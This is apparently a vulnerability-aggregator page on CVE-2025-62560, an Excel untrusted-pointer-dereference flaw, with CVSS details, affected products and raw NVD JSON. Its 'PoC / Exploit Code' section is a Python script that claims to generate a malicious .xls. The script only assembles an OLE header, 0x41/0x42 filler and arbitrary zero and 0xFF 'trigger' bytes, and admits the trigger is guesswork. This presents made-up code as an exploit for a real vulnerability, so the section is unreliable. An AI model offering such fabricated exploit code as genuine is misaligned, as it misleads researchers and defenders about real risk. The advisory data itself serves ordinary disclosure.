Security Vulnerability Report
中文
CVE-2025-62560 CVSS 7.8 HIGH

CVE-2025-62560

Published: 2025-12-09 18:16:02
Last Modified: 2025-12-10 15:38:23

Description

Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016 及更早版本
Microsoft 365 Apps for Enterprise
Microsoft Office Excel 2019
Microsoft Office Excel 2021

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62560 PoC - Malicious Excel File Trigger # This PoC demonstrates the vulnerability concept # DO NOT use for malicious purposes import struct import os def create_malicious_excel(): """ Create a malicious Excel file that triggers CVE-2025-62560 Untrusted pointer dereference in Microsoft Office Excel """ # Excel file signature (XLS format) header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE2 Compound Document structure ole_header = bytearray(512) ole_header[0:8] = header # Sector allocation table sector_table = bytearray(512) # Malicious payload to trigger pointer dereference # This is a conceptual PoC - actual exploit requires specific conditions malicious_data = bytearray(1024) # Fill with specific byte patterns that may trigger the vulnerability # In real exploitation, this would target specific memory addresses for i in range(len(malicious_data)): malicious_data[i] = 0x41 if i % 2 == 0 else 0x42 # Construct the malformed record structure # Excel BOF record (Beginning of File) bof_record = struct.pack('<HHII', 0x0809, # Record type 0x0010, # Record length 0x0005, # Version 0x02D0 # Type ) # Malformed record that triggers untrusted pointer # The exact bytes depend on the specific vulnerability trigger trigger_data = b'\x00' * 256 + b'\xFF' * 16 # Combine all components excel_file = ole_header + sector_table + bof_record + malicious_data + trigger_data return excel_file def main(): """Generate and save the PoC file""" poc_data = create_malicious_excel() output_file = 'CVE-2025-62560_poc.xls' with open(output_file, 'wb') as f: f.write(poc_data) print(f'PoC file generated: {output_file}') print('WARNING: This file is for educational purposes only') print('Do not distribute or use for malicious activities') if __name__ == '__main__': main() # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Detailed analysis of the specific pointer dereference flaw # 2. Precise memory layout understanding # 3. Specific Excel version and patch level targeting # 4. ROP chain construction for modern Windows protections (ASLR, DEP)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62560", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:01.767", "lastModified": "2025-12-10T15:38:22.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}, {"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20075", "matchCriteriaId": "006A74C2-A28C-40D5-BE4D-AB8C0F3C16B8"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62560", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}